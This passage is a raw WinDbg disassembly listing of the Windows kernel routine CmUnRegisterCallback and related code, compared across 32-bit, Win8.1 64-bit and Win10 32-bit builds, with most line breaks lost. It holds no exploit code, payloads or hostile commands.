[edx],ecx8118aa41 8b4e14 mov ecx,dword ptr [esi+14h]8118aa44 894a04 mov dword ptr [edx+4],ecx8118aa47 85ff test edi,edi8118aa49 0f88e0d40800 js nt! ?? ::NNGAKEGL::`string'+0x798c5 (81217f2f)nt!CmpRegisterCallbackInternal+0x97:8118aa4f 8bc7 mov eax,edint!CmpRegisterCallbackInternal+0x99:8118aa51 5f pop edi8118aa52 5e pop esi8118aa53 5b pop ebx8118aa54 5d pop ebp8118aa55 c20c00 ret 0Chnt!CmpRegisterCallbackInternal+0xa0:8118aa58 bf9a0000c0 mov edi,0C000009Ah8118aa5d e9cdd40800 jmp nt! ?? ::NNGAKEGL::`string'+0x798c5 (81217f2f)nt! ?? ::NNGAKEGL::`string'+0x7974f:81217db9 e862a6e6ff call nt!CmpUnlockCallbackList (81082420)81217dbe e97d2bf7ff jmp nt!CmUnRegisterCallback+0xec (8118a940)nt! ?? ::NNGAKEGL::`string'+0x79759:81217dc3 8b06 mov eax,dword ptr [esi]81217dc5 8945dc mov dword ptr [ebp-24h],eax81217dc8 8b4e14 mov ecx,dword ptr [esi+14h]81217dcb e83219c2ff call nt!ObReferenceObjectSafe (80e39702)81217dd0 84c0 test al,al81217dd2 7462 je nt! ?? ::NNGAKEGL::`string'+0x797cc (81217e36)nt! ?? ::NNGAKEGL::`string'+0x7976a:81217dd4 8d46f8 lea eax,[esi-8]81217dd7 8d4808 lea ecx,[eax+8]81217dda 8b11 mov edx,dword ptr [ecx]81217ddc 8955d0 mov dword ptr [ebp-30h],edx81217ddf 8b5104 mov edx,dword ptr [ecx+4]81217de2 8b7dd0 mov edi,dword ptr [ebp-30h]81217de5 394f04 cmp dword ptr [edi+4],ecx81217de8 8b7dd4 mov edi,dword ptr [ebp-2Ch]81217deb 0f85bd2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x79787:81217df1 390a cmp dword ptr [edx],ecx81217df3 0f85b52bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x7978f:81217df9 8b4dd0 mov ecx,dword ptr [ebp-30h]81217dfc 890a mov dword ptr [edx],ecx81217dfe 895104 mov dword ptr [ecx+4],edx81217e01 8b10 mov edx,dword ptr [eax]81217e03 8b4804 mov ecx,dword ptr [eax+4]81217e06 394204 cmp dword ptr [edx+4],eax81217e09 0f859f2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797a5:81217e0f 3901 cmp dword ptr [ecx],eax81217e11 0f85972bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797ad:81217e17 8911 mov dword ptr [ecx],edx81217e19 894a04 mov dword ptr [edx+4],ecx81217e1c 8b45c8 mov eax,dword ptr [ebp-38h]81217e1f 8d4dc4 lea ecx,[ebp-3Ch]81217e22 890e mov dword ptr [esi],ecx81217e24 894604 mov dword ptr [esi+4],eax81217e27 3908 cmp dword ptr [eax],ecx81217e29 0f857f2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797c5:81217e2f 8930 mov dword ptr [eax],esi81217e31 8975c8 mov dword ptr [ebp-38h],esi81217e34 eb04 jmp nt! ?? ::NNGAKEGL::`string'+0x797d0 (81217e3a)nt! ?? ::NNGAKEGL::`string'+0x797cc:81217e36 c645e301 mov byte ptr [ebp-1Dh],1nt! ?? ::NNGAKEGL::`string'+0x797d0:81217e3a 8b75dc mov esi,dword ptr [ebp-24h]81217e3d 8d4728 lea eax,[edi+28h]81217e40 3bf0 cmp esi,eax81217e42 0f857bffffff jne nt! ?? ::NNGAKEGL::`string'+0x79759 (81217dc3)nt! ?? ::NNGAKEGL::`string'+0x797de:81217e48 e9ae2af7ff jmp nt!CmUnRegisterCallback+0xa7 (8118a8fb)nt! ?? ::NNGAKEGL::`string'+0x797e3:81217e4d 8b08 mov ecx,dword ptr [eax]81217e4f 8d55c4 lea edx,[ebp-3Ch]81217e52 395004 cmp dword ptr [eax+4],edx81217e55 0f85532bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797f1:81217e5b 394104 cmp dword ptr [ecx+4],eax81217e5e 0f854a2bf7ff jne nt!CmUnRegisterCallback+0x15a (8118a9ae)nt! ?? ::NNGAKEGL::`string'+0x797fa:81217e64 894dc4 mov dword ptr [ebp-3Ch],ecx81217e67 895104 mov dword ptr [ecx+4],edx81217e6a 8d70f8 lea esi,[eax-8]81217e6d 8975d0 mov dword ptr [ebp-30h],esi81217e70 8b461c mov eax,dword ptr [esi+1Ch]81217e73 8945b8 mov dword ptr [ebp-48h],eax81217e76 8b4620 mov eax,dword ptr [esi+20h]81217e79 8945bc mov dword ptr [ebp-44h],eax81217e7c 895dfc mov dword ptr [ebp-4],ebx81217e7f 8d45b8 lea eax,[ebp-48h]81217e82 50 push eax81217e83 6a28 push 28h81217e85 ff7718 push dword ptr [edi+18h]81217e88 ff571c call dword ptr [edi+1Ch]81217e8b c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh81217e92 eb13 jmp nt! ?? ::NNGAKEGL::`string'+0x7983d (81217ea7)nt! ?? ::NNGAKEGL::`string'+0x7983d:81217ea7 8b75d0 mov esi,dword ptr [ebp-30h]81217eaa 8b4e1c mov ecx,dword ptr [esi+1Ch]81217ead e89ec3c3ff call nt!ObfDereferenceObject (80e54250)81217eb2 68434d6363 push 63634D43h81217eb7 56 push esi81217eb8 e85311ddff call nt!ExFreePoolWithTag (80fe9010)81217ebd e93e2af7ff jmp nt!CmUnRegisterCallback+0xac (8118a900)nt! ?? ::NNGAKEGL::`string'+0x79858:81217ec2 8d4728 lea eax,[edi+28h]81217ec5 8945d0 mov dword ptr [ebp-30h],eax81217ec8 8bf8 mov edi,eaxnt! ?? ::NNGAKEGL::`string'+0x79860:81217eca e80f2df7ff call nt!CmpLockContextListExclusive (8118abde)81217ecf 8b37 mov esi,dword ptr [edi]81217ed1 8975cc mov dword ptr [ebp-34h],esi81217ed4 e8952cf7ff call nt!CmpUnlockContextList (8118ab6e)81217ed9 3bf7 cmp esi,edi81217edb 7415 je nt! ?? ::NNGAKEGL::`string'+0x79888 (81217ef2)nt! ?? ::NNGAKEGL::`string'+0x79873:81217edd 53 push ebx81217ede 6a04 push 481217ee0 8d45cc lea eax,[ebp-34h]81217ee3 50 push eax81217ee4 8bd7 mov edx,edi81217ee6 b908fb0081 mov ecx,offset nt!CallbackListDeleteEvent (8100fb08)81217eeb e86a51c1ff call nt!ExBlockOnAddressPushLock (80e2d05a)81217ef0 eb03 jmp nt! ?? ::NNGAKEGL::`string'+0x7988b (81217ef5)nt! ?? ::NNGAKEGL::`string'+0x79888:81217ef2 885de3 mov byte ptr [ebp-1Dh],blnt! ?? ::NNGAKEGL::`string'+0x7988b:81217ef5 807de300 cmp byte ptr [ebp-1Dh],081217ef9 75cf jne nt! ?? ::NNGAKEGL::`string'+0x79860 (81217eca)nt! ?? ::NNGAKEGL::`string'+0x79891:81217efb 8b7dd4 mov edi,dword ptr [ebp-2Ch]81217efe e9152af7ff jmp nt!CmUnRegisterCallback+0xc4 (8118a918)nt! ?? ::NNGAKEGL::`string'+0x79899:81217f03 b918fb0081 mov ecx,offset nt!CmpCallbackContextSList (8100fb18)81217f08 e803c1d0ff call nt!ExInterlockedFlushSList (80f24010)81217f0d 8bf0 mov esi,eax81217f0f eb0b jmp nt! ?? ::NNGAKEGL::`string'+0x798b2 (81217f1c)nt! ?? ::NNGAKEGL::`string'+0x798a7:81217f11 8bce mov ecx,esi81217f13 8b36 mov esi,dword ptr [esi]81217f15 53 push ebx81217f16 51 push ecx81217f17 e8f410ddff call nt!ExFreePoolWithTag (80fe9010)nt! ?? ::NNGAKEGL::`string'+0x798b2:81217f1c 85f6 test esi,esi81217f1e 75f1 jne nt! ?? ::NNGAKEGL::`string'+0x798a7 (81217f11)nt! ?? ::NNGAKEGL::`string'+0x798b6:81217f20 e9062af7ff jmp nt!CmUnRegisterCallback+0xd7 (8118a92b)nt! ?? ::NNGAKEGL::`string'+0x798bb:81217f25 b89a0000c0 mov eax,0C000009Ah81217f2a e9222bf7ff jmp nt!CmpRegisterCallbackInternal+0x99 (8118aa51)nt! ?? ::NNGAKEGL::`string'+0x798c5:81217f2f 8b4624 mov eax,dword ptr [esi+24h]81217f32 85c0 test eax,eax81217f34 7408 je nt! ?? ::NNGAKEGL::`string'+0x798d4 (81217f3e)nt! ?? ::NNGAKEGL::`string'+0x798cc:81217f36 6a00 push 081217f38 50 push eax81217f39 e8d210ddff call nt!ExFreePoolWithTag (80fe9010)nt! ?? ::NNGAKEGL::`string'+0x798d4:81217f3e 6a00 push 081217f40 56 push esi81217f41 e8ca10ddff call nt!ExFreePoolWithTag (80fe9010)81217f46 e9042bf7ff jmp nt!CmpRegisterCallbackInternal+0x97 (8118aa4f)
    Win8.1 64 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff803`10797d84 48894c2408 mov qword ptr [rsp+8],rcxfffff803`10797d89 4c8bdc mov r11,rspfffff803`10797d8c 53 push rbxfffff803`10797d8d 56 push rsifffff803`10797d8e 57 push rdifffff803`10797d8f 4154 push r12fffff803`10797d91 4155 push r13fffff803`10797d93 4156 push r14fffff803`10797d95 4157 push r15fffff803`10797d97 4881ec80000000 sub rsp,80hfffff803`10797d9e be0d0000c0 mov esi,0C000000Dhfffff803`10797da3 89b424d8000000 mov dword ptr [rsp+0D8h],esifffff803`10797daa 498363a800 and qword ptr [r11-58h],0fffff803`10797daf 33c0 xor eax,eaxfffff803`10797db1 498943b0 mov qword ptr [r11-50h],raxfffff803`10797db5 498943b8 mov qword ptr [r11-48h],raxfffff803`10797db9 49214380 and qword ptr [r11-80h],raxfffff803`10797dbd e856030000 call nt!CmpLockCallbackListExclusive (fffff803`10798118)fffff803`10797dc2 41be00000080 mov r14d,80000000hnt!CmUnRegisterCallback+0x44:fffff803`10797dc8 4533c0 xor r8d,r8dfffff803`10797dcb 488d542438 lea rdx,[rsp+38h]fffff803`10797dd0 488d0d39f5dbff lea rcx,[nt!CallbackListHead (fffff803`10557310)]fffff803`10797dd7 e85469f1ff call nt!CmListGetNextElement (fffff803`106ae730)fffff803`10797ddc 488bf8 mov rdi,raxfffff803`10797ddf 4889442440 mov qword ptr [rsp+40h],raxfffff803`10797de4 4885c0 test rax,raxfffff803`10797de7 0f845e010000 je nt!CmUnRegisterCallback+0x1c7 (fffff803`10797f4b)nt!CmUnRegisterCallback+0x69:fffff803`10797ded 488b8424c0000000 mov rax,qword ptr [rsp+0C0h]fffff803`10797df5 48394718 cmp qword ptr [rdi+18h],raxfffff803`10797df9 75cd jne nt!CmUnRegisterCallback+0x44 (fffff803`10797dc8)nt!CmUnRegisterCallback+0x77:fffff803`10797dfb 8b4710 mov eax,dword ptr [rdi+10h]fffff803`10797dfe 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff803`10797e05 85c0 test eax,eaxfffff803`10797e07 0f85c6000000 jne nt!CmUnRegisterCallback+0x14f (fffff803`10797ed3)nt!CmUnRegisterCallback+0x89:fffff803`10797e0d 488b0f mov rcx,qword ptr [rdi]fffff803`10797e10 488b4708 mov rax,qword ptr [rdi+8]fffff803`10797e14 48397908 cmp qword ptr [rcx+8],rdifffff803`10797e18 0f8598bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84eb6 (fffff803`10833ab6)nt!CmUnRegisterCallback+0x9a:fffff803`10797e1e 483938 cmp qword ptr [rax],rdifffff803`10797e21 0f858fbc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84eb6 (fffff803`10833ab6)nt!CmUnRegisterCallback+0xa3:fffff803`10797e27 488908 mov qword ptr [rax],rcxfffff803`10797e2a 48894108 mov qword ptr [rcx+8],raxfffff803`10797e2e e8116afcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797e33 33f6 xor esi,esifffff803`10797e35 89b424d8000000 mov dword ptr [rsp+0D8h],esint!CmUnRegisterCallback+0xb8:fffff803`10797e3c 488d442450 lea rax,[rsp+50h]fffff803`10797e41 4889442458 mov qword ptr [rsp+58h],raxfffff803`10797e46 488d442450 lea rax,[rsp+50h]fffff803`10797e4b 4889442450 mov qword ptr [rsp+50h],raxfffff803`10797e50 4532f6 xor r14b,r14bfffff803`10797e53 4488b424c8000000 mov byte ptr [rsp+0C8h],r14bfffff803`10797e5b e894030000 call nt!CmpLockContextListExclusive (fffff803`107981f4)fffff803`10797e60 4c8d6740 lea r12,[rdi+40h]fffff803`10797e64 498b1c24 mov rbx,qword ptr [r12]nt!CmUnRegisterCallback+0xe4:fffff803`10797e68 48895c2430 mov qword ptr [rsp+30h],rbxfffff803`10797e6d 493bdc cmp rbx,r12fffff803`10797e70 0f8547bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84ebd (fffff803`10833abd)nt!CmUnRegisterCallback+0xf2:fffff803`10797e76 e8f1020000 call nt!CmpUnlockContextList (fffff803`1079816c)nt!CmUnRegisterCallback+0xf7:fffff803`10797e7b 488d4c2450 lea rcx,[rsp+50h]fffff803`10797e80 488b442450 mov rax,qword ptr [rsp+50h]fffff803`10797e85 483bc1 cmp rax,rcxfffff803`10797e88 0f85c6bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84f54 (fffff803`10833b54)nt!CmUnRegisterCallback+0x10a:fffff803`10797e8e 4584f6 test r14b,r14bfffff803`10797e91 0f8549bd0900 jne nt! ?? ::NNGAKEGL::`string'+0x84fe0 (fffff803`10833be0)nt!CmUnRegisterCallback+0x113:fffff803`10797e97 f0ff0deebfd8ff lock dec dword ptr [nt!CmpCallBackCount (fffff803`10523e8c)]fffff803`10797e9e 0f8485bd0900 je nt! ?? ::NNGAKEGL::`string'+0x85029 (fffff803`10833c29)nt!CmUnRegisterCallback+0x120:fffff803`10797ea4 488b4f38 mov rcx,qword ptr [rdi+38h]fffff803`10797ea8 4885c9 test rcx,rcxfffff803`10797eab 7407 je nt!CmUnRegisterCallback+0x130 (fffff803`10797eb4)nt!CmUnRegisterCallback+0x129:fffff803`10797ead 33d2 xor edx,edxfffff803`10797eaf e86cdfd7ff call nt!ExFreePoolWithTag (fffff803`10515e20)nt!CmUnRegisterCallback+0x130:fffff803`10797eb4 33d2 xor edx,edxfffff803`10797eb6 488bcf mov rcx,rdifffff803`10797eb9 e862dfd7ff call nt!ExFreePoolWithTag (fffff803`10515e20)nt!CmUnRegisterCallback+0x13a:fffff803`10797ebe 8bc6 mov eax,esifffff803`10797ec0 4881c480000000 add rsp,80hfffff803`10797ec7 415f pop r15fffff803`10797ec9 415e pop r14fffff803`10797ecb 415d pop r13fffff803`10797ecd 415c pop r12fffff803`10797ecf 5f pop rdifffff803`10797ed0 5e pop rsifffff803`10797ed1 5b pop rbxfffff803`10797ed2 c3 retnt!CmUnRegisterCallback+0x14f:fffff803`10797ed3 4185c6 test r14d,eaxfffff803`10797ed6 0f85ecfeffff jne nt!CmUnRegisterCallback+0x44 (fffff803`10797dc8)nt!CmUnRegisterCallback+0x158:fffff803`10797edc 488d5f10 lea rbx,[rdi+10h]fffff803`10797ee0 f0810b00000080 lock or dword ptr [rbx],80000000hfffff803`10797ee7 e85869fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)nt!CmUnRegisterCallback+0x168:fffff803`10797eec 8b03 mov eax,dword ptr [rbx]fffff803`10797eee 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff803`10797ef5 413bc6 cmp eax,r14dfffff803`10797ef8 7425 je nt!CmUnRegisterCallback+0x19b (fffff803`10797f1f)nt!CmUnRegisterCallback+0x176:fffff803`10797efa 488364242000 and qword ptr [rsp+20h],0fffff803`10797f00 41b904000000 mov r9d,4fffff803`10797f06 4c8d8424d0000000 lea r8,[rsp+0D0h]fffff803`10797f0e 488bd3 mov rdx,rbxfffff803`10797f11 488d0d08f4dbff lea rcx,[nt!CallbackListDeleteEvent (fffff803`10557320)]fffff803`10797f18 e88313baff call nt!ExBlockOnAddressPushLock (fffff803`103392a0)fffff803`10797f1d ebcd jmp nt!CmUnRegisterCallback+0x168 (fffff803`10797eec)nt!CmUnRegisterCallback+0x19b:fffff803`10797f1f e8f4010000 call nt!CmpLockCallbackListExclusive (fffff803`10798118)fffff803`10797f24 488b0f mov rcx,qword ptr [rdi]fffff803`10797f27 488b4708 mov rax,qword ptr [rdi+8]fffff803`10797f2b 48397908 cmp qword ptr [rcx+8],rdifffff803`10797f2f 7524 jne nt!CmUnRegisterCallback+0x1d1 (fffff803`10797f55)nt!CmUnRegisterCallback+0x1ad:fffff803`10797f31 483938 cmp qword ptr [rax],rdifffff803`10797f34 751f jne nt!CmUnRegisterCallback+0x1d1 (fffff803`10797f55)nt!CmUnRegisterCallback+0x1b2:fffff803`10797f36 488908 mov qword ptr [rax],rcxfffff803`10797f39 48894108 mov qword ptr [rcx+8],raxfffff803`10797f3d e80269fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797f42 33f6 xor esi,esifffff803`10797f44 89b424d8000000 mov dword ptr [rsp+0D8h],esint!CmUnRegisterCallback+0x1c7:fffff803`10797f4b 85f6 test esi,esifffff803`10797f4d 0f89e9feffff jns nt!CmUnRegisterCallback+0xb8 (fffff803`10797e3c)nt!CmUnRegisterCallback+0x1cf:fffff803`10797f53 eb07 jmp nt!CmUnRegisterCallback+0x1d8 (fffff803`10797f5c)nt!CmUnRegisterCallback+0x1d1:fffff803`10797f55 b903000000 mov ecx,3fffff803`10797f5a cd29 int 29hnt!CmUnRegisterCallback+0x1d8:fffff803`10797f5c e8e368fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797f61 e958ffffff jmp nt!CmUnRegisterCallback+0x13a (fffff803`10797ebe)nt! ?? ::NNGAKEGL::`string'+0x84eb6:fffff803`10833ab6 b903000000 mov ecx,3fffff803`10833abb cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84ebd:fffff803`10833abd 4c8b2b mov r13,qword ptr [rbx]fffff803`10833ac0 4c8d7bf0 lea r15,[rbx-10h]fffff803`10833ac4 498b4f30 mov rcx,qword ptr [r15+30h]fffff803`10833ac8 e8c712abff call nt!ObReferenceObjectSafe (fffff803`102e4d94)fffff803`10833acd 84c0 test al,alfffff803`10833acf 745b je nt! ?? ::NNGAKEGL::`string'+0x84f2c (fffff803`10833b2c)nt! ?? ::NNGAKEGL::`string'+0x84ed1:fffff803`10833ad1 498d4710 lea rax,[r15+10h]fffff803`10833ad5 488b10 mov rdx,qword ptr [rax]fffff803`10833ad8 488b4808 mov rcx,qword ptr [rax+8]fffff803`10833adc 48394208 cmp qword ptr [rdx+8],raxfffff803`10833ae0 756b jne nt! ?? ::NNGAKEGL::`string'+0x84f4d (fffff803`10833b4d)nt! ?? ::NNGAKEGL::`string'+0x84ee2:fffff803`10833ae2 483901 cmp qword ptr [rcx],raxfffff803`10833ae5 7566 jne nt! ?? ::NNGAKEGL::`string'+0x84f4d (fffff803`10833b4d)nt! ?? ::NNGAKEGL::`string'+0x84ee7:fffff803`10833ae7 488911 mov qword ptr [rcx],rdxfffff803`10833aea 48894a08 mov qword ptr [rdx+8],rcxfffff803`10833aee 498b0f mov rcx,qword ptr [r15]fffff803`10833af1 498b4708 mov rax,qword ptr [r15+8]fffff803`10833af5 4c397908 cmp qword ptr [rcx+8],r15fffff803`10833af9 754b jne nt! ?? ::NNGAKEGL::`string'+0x84f46 (fffff803`10833b46)nt! ?? ::NNGAKEGL::`string'+0x84efb:fffff803`10833afb 4c3938 cmp qword ptr [rax],r15fffff803`10833afe 7546 jne nt! ?? ::NNGAKEGL::`string'+0x84f46 (fffff803`10833b46)nt! ?? ::NNGAKEGL::`string'+0x84f00:fffff803`10833b00 488908 mov qword ptr [rax],rcxfffff803`10833b03 48894108 mov qword ptr [rcx+8],raxfffff803`10833b07 488b442458 mov rax,qword ptr [rsp+58h]fffff803`10833b0c 488d4c2450 lea rcx,[rsp+50h]fffff803`10833b11 48890b mov qword ptr [rbx],rcxfffff803`10833b14 48894308 mov qword ptr [rbx+8],raxfffff803`10833b18 488d4c2450 lea rcx,[rsp+50h]fffff803`10833b1d 483908 cmp qword ptr [rax],rcxfffff803`10833b20 751d jne nt! ?? ::NNGAKEGL::`string'+0x84f3f (fffff803`10833b3f)nt! ?? ::NNGAKEGL::`string'+0x84f22:fffff803`10833b22 488918 mov qword ptr [rax],rbxfffff803`10833b25 48895c2458 mov qword ptr [rsp+58h],rbxfffff803`10833b2a eb0b jmp nt! ?? ::NNGAKEGL::`string'+0x84f37 (fffff803`10833b37)nt! ?? ::NNGAKEGL::`string'+0x84f2c:fffff803`10833b2c 41b601 mov r14b,1fffff803`10833b2f 4488b424c8000000 mov byte ptr [rsp+0C8h],r14bnt! ?? ::NNGAKEGL::`string'+0x84f37:fffff803`10833b37 498bdd mov rbx,r13fffff803`10833b3a e92943f6ff jmp nt!CmUnRegisterCallback+0xe4 (fffff803`10797e68)nt! ?? ::NNGAKEGL::`string'+0x84f3f:fffff803`10833b3f b903000000 mov ecx,3fffff803`10833b44 cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f46:fffff803`10833b46 b903000000 mov ecx,3fffff803`10833b4b cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f4d:fffff803`10833b4d b903000000 mov ecx,3fffff803`10833b52 cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f54:fffff803`10833b54 488b08 mov rcx,qword ptr [rax]fffff803`10833b57 488d542450 lea rdx,[rsp+50h]fffff803`10833b5c 48395008 cmp qword ptr [rax+8],rdxfffff803`10833b60 7577 jne nt! ?? ::NNGAKEGL::`string'+0x84fd9 (fffff803`10833bd9)nt! ?? ::NNGAKEGL::`string'+0x84f62:fffff803`10833b62 48394108 cmp qword ptr [rcx+8],raxfffff803`10833b66 7571 jne nt! ?? ::NNGAKEGL::`string'+0x84fd9 (fffff803`10833bd9)nt! ?? ::NNGAKEGL::`string'+0x84f68:fffff803`10833b68 48894c2450 mov qword ptr [rsp+50h],rcxfffff803`10833b6d 488d542450 lea rdx,[rsp+50h]fffff803`10833b72 48895108 mov qword ptr [rcx+8],rdxfffff803`10833b76 488d58f0 lea rbx,[rax-10h]fffff803`10833b7a 48895c2448 mov qword ptr [rsp+48h],rbxfffff803`10833b7f 488b4330 mov rax,qword ptr [rbx+30h]fffff803`10833b83 4889442460 mov qword ptr [rsp+60h],raxfffff803`10833b88 488b4338 mov rax,qword ptr [rbx+38h]fffff803`10833b8c 4889442468 mov qword ptr [rsp+68h],raxfffff803`10833b91 4c8d442460 lea r8,[rsp+60h]fffff803`10833b96 ba28000000 mov edx,28hfffff803`10833b9b 488b4f20 mov rcx,qword ptr [rdi+20h]fffff803`10833b9f ff5728 call qword ptr [rdi+28h]fffff803`10833ba2 eb19 jmp nt! ?? ::NNGAKEGL::`string'+0x84fbd (fffff803`10833bbd)nt! ?? ::NNGAKEGL::`string'+0x84fbd:fffff803`10833bbd 488b4b30 mov rcx,qword ptr [rbx+30h]fffff803`10833bc1 e80a64abff call nt!ObfDereferenceObject (fffff803`102e9fd0)fffff803`10833bc6 ba434d6363 mov edx,63634D43hfffff803`10833bcb 488bcb mov rcx,rbxfffff803`10833bce e84d22ceff call nt!ExFreePoolWithTag (fffff803`10515e20)fffff803`10833bd3 90 nopfffff803`10833bd4 e9a242f6ff jmp nt!CmUnRegisterCallback+0xf7 (fffff803`10797e7b)nt! ?? ::NNGAKEGL::`string'+0x84fd9:fffff803`10833bd9 b903000000 mov ecx,3fffff803`10833bde cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84fe0:fffff803`10833be0 e80f46f6ff call nt!CmpLockContextListExclusive (fffff803`107981f4)fffff803`10833be5 4c8d7f40 lea r15,[rdi+40h]fffff803`10833be9 498b1f mov rbx,qword ptr [r15]fffff803`10833bec 48895c2430 mov qword ptr [rsp+30h],rbxfffff803`10833bf1 e87645f6ff call nt!CmpUnlockContextList (fffff803`1079816c)fffff803`10833bf6 493bdf cmp rbx,r15fffff803`10833bf9 7426 je nt! ?? ::NNGAKEGL::`string'+0x85021 (fffff803`10833c21)nt! ?? ::NNGAKEGL::`string'+0x84ffb:fffff803`10833bfb 488364242000 and qword ptr [rsp+20h],0fffff803`10833c01 41b908000000 mov r9d,8fffff803`10833c07 4c8d442430 lea r8,[rsp+30h]fffff803`10833c0c 498bd7 mov rdx,r15fffff803`10833c0f 488d0d0a37d2ff lea rcx,[nt!CallbackListDeleteEvent (fffff803`10557320)]fffff803`10833c16 e88556b0ff call nt!ExBlockOnAddressPushLock (fffff803`103392a0)fffff803`10833c1b 90 nopfffff803`10833c1c e96d42f6ff jmp nt!CmUnRegisterCallback+0x10a (fffff803`10797e8e)nt! ?? ::NNGAKEGL::`string'+0x85021:fffff803`10833c21 4532f6 xor r14b,r14bfffff803`10833c24 e96542f6ff jmp nt!CmUnRegisterCallback+0x10a (fffff803`10797e8e)nt! ?? ::NNGAKEGL::`string'+0x85029:fffff803`10833c29 488d0dd057d2ff lea rcx,[nt!CmpCallbackContextSList (fffff803`10559400)]fffff803`10833c30 e85b51baff call nt!ExpInterlockedFlushSList (fffff803`103d8d90)fffff803`10833c35 488bd8 mov rbx,raxnt! ?? ::NNGAKEGL::`string'+0x85038:fffff803`10833c38 4885db test rbx,rbxfffff803`10833c3b 0f846342f6ff je nt!CmUnRegisterCallback+0x120 (fffff803`10797ea4)nt! ?? ::NNGAKEGL::`string'+0x85041:fffff803`10833c41 488bcb mov rcx,rbxfffff803`10833c44 488b1b mov rbx,qword ptr [rbx]fffff803`10833c47 33d2 xor edx,edxfffff803`10833c49 e8d221ceff call nt!ExFreePoolWithTag (fffff803`10515e20)fffff803`10833c4e ebe8 jmp nt! ?? ::NNGAKEGL::`string'+0x85038 (fffff803`10833c38)
    Win10 32 位 CmUnRegisterCallbackkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:81ee7c8f 6a38 push 38h81ee7c91 6880eac881 push offset nt!RtlpSparseBitmapCtxUpdateBits+0x6a49 (81c8ea80)81ee7c96 e8154bcbff call nt!_SEH_prolog4 (81b9c7b0)81ee7c9b 33db xor ebx,ebx81ee7c9d 895dbc mov dword ptr [ebp-44h],ebx81ee7ca0 895dc0 mov dword ptr [ebp-40h],ebx81ee7ca3 895dc4 mov dword ptr [ebp-3Ch],ebx81ee7ca6 895dd0 mov dword ptr [ebp-30h],ebx81ee7ca9 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7caf 66ff883c010000 dec word ptr [eax+13Ch]81ee7cb6 53 push ebx81ee7cb7 33d2 xor edx,edx81ee7cb9 bf9817cb81 mov edi,offset nt!CmpCallbackListLock (81cb1798)81ee7cbe 8bcf mov ecx,edi81ee7cc0 e85b8dc4ff call nt!KeAbPreAcquire (81b30a20)81ee7cc5 8bf0 mov esi,eax81ee7cc7 f00fba2f00 lock bts dword ptr [edi],081ee7ccc 730a jae nt!CmUnRegisterCallback+0x49 (81ee7cd8)nt!CmUnRegisterCallback+0x3f:81ee7cce 57 push edi81ee7ccf 8bd6 mov edx,esi81ee7cd1 8bcf mov ecx,edi81ee7cd3 e82877bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)nt!CmUnRegisterCallback+0x49:81ee7cd8 85f6 test esi,esi81ee7cda 7407 je nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x4d:81ee7cdc 8b4610 mov eax,dword ptr [esi+10h]81ee7cdf 804e0e01 or byte ptr [esi+0Eh],1nt!CmUnRegisterCallback+0x54:81ee7ce3 53 push ebx81ee7ce4 8d55d0 lea edx,[ebp-30h]81ee7ce7 b9a017cb81 mov ecx,offset nt!CallbackListHead (81cb17a0)81ee7cec e853cae8ff call nt!CmListGetNextElement (81d74744)81ee7cf1 8bf0 mov esi,eax81ee7cf3 8975dc mov dword ptr [ebp-24h],esi81ee7cf6 85f6 test esi,esi81ee7cf8 0f8496040000 je nt!CmUnRegisterCallback+0x505 (81ee8194)nt!CmUnRegisterCallback+0x6f:81ee7cfe 8b4e10 mov ecx,dword ptr [esi+10h]81ee7d01 3b4d08 cmp ecx,dword ptr [ebp+8]81ee7d04 75dd jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x77:81ee7d06 8b4e14 mov ecx,dword ptr [esi+14h]81ee7d09 3b4d0c cmp ecx,dword ptr [ebp+0Ch]81ee7d0c 75d5 jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x7f:81ee7d0e 8b4608 mov eax,dword ptr [esi+8]81ee7d11 8945e0 mov dword ptr [ebp-20h],eax81ee7d14 3bc3 cmp eax,ebx81ee7d16 0f8412010000 je nt!CmUnRegisterCallback+0x19f (81ee7e2e)nt!CmUnRegisterCallback+0x8d:81ee7d1c b800000080 mov eax,80000000h81ee7d21 8545e0 test dword ptr [ebp-20h],eax81ee7d24 75bd jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x97:81ee7d26 8d7e08 lea edi,[esi+8]81ee7d29 f00907 lock or dword ptr [edi],eax81ee7d2c 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7d32 8bc1 mov eax,ecx81ee7d34 83e0f0 and eax,0FFFFFFF0h81ee7d37 83f810 cmp eax,10h81ee7d3a 8d51f0 lea edx,[ecx-10h]81ee7d3d 7702 ja nt!CmUnRegisterCallback+0xb2 